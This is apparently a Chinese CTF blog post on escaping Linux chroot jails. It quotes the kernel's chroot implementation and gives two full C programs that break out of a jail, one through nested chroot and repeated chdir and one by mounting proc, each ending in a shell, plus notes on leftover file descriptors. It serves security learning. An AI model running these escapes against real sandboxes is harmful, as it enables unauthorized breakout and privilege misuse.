Pwn.Chroot-jail
2025-10-11 19:25:59 # CTF

Chroot

首先了解一下chroot的实现,如无特别说明,以下代码均来自于linux-6.11

chroot是一个syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
SYSCALL_DEFINE1(chroot, const char __user *, filename)
{
struct path path;
int error;
unsigned int lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY;
retry:
error = user_path_at(AT_FDCWD, filename, lookup_flags, &path);
if (error)
goto out;

error = path_permission(&path, MAY_EXEC | MAY_CHDIR);
if (error)
goto dput_and_out;

error = -EPERM;
if (!ns_capable(current_user_ns(), CAP_SYS_CHROOT))
goto dput_and_out;
error = security_path_chroot(&path);
if (error)
goto dput_and_out;

set_fs_root(current->fs, &path);
error = 0;
dput_and_out:
path_put(&path);
if (retry_estale(error, lookup_flags)) {
lookup_flags |= LOOKUP_REVAL;
goto retry;
}
out:
return error;
}

实际的核心实现是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void set_fs_root(struct fs_struct *fs, const struct path *path)
{
struct path old_root;

path_get(path);
spin_lock(&fs->lock);
write_seqcount_begin(&fs->seq);
old_root = fs->root;
fs->root = *path;
write_seqcount_end(&fs->seq);
spin_unlock(&fs->lock);
if (old_root.dentry)
path_put(&old_root);
}

他更改了current->fs 的root的路径, 这样就会影响当前进程和其子进程相关系统调用对于目录项的查找。

目前所有chroot逃逸的核心,基本都是获取一个不在当前目录的文件描述符,对于这个文件描述符进行操作。

mkdir+chroot

当你可以mkdir时,mkdir一个新的dir时并chroot到此目录时,原目录就在chroot的目录外了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
chroot(".");
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
printf("err");
}

mount

mount proc文件系统可以用来逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mount.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{

chroot(".");
mkdir("proc", 0755);
if ( mount("proc", "/proc", "proc", 0, NULL) ) {
perror("Failed to mount proc filesystem");
exit(EXIT_FAILURE);
}


chroot("/proc/1/root");
for(int i = 0; i < 1000; i++) {
chdir("..");
}

system("/bin/sh");
printf("err");
}

残留fd

  • 如果残留了目录的fd,可以使用openat打开相对于此目录的文件
  • 如果残留了socket fd,可能有信息泄露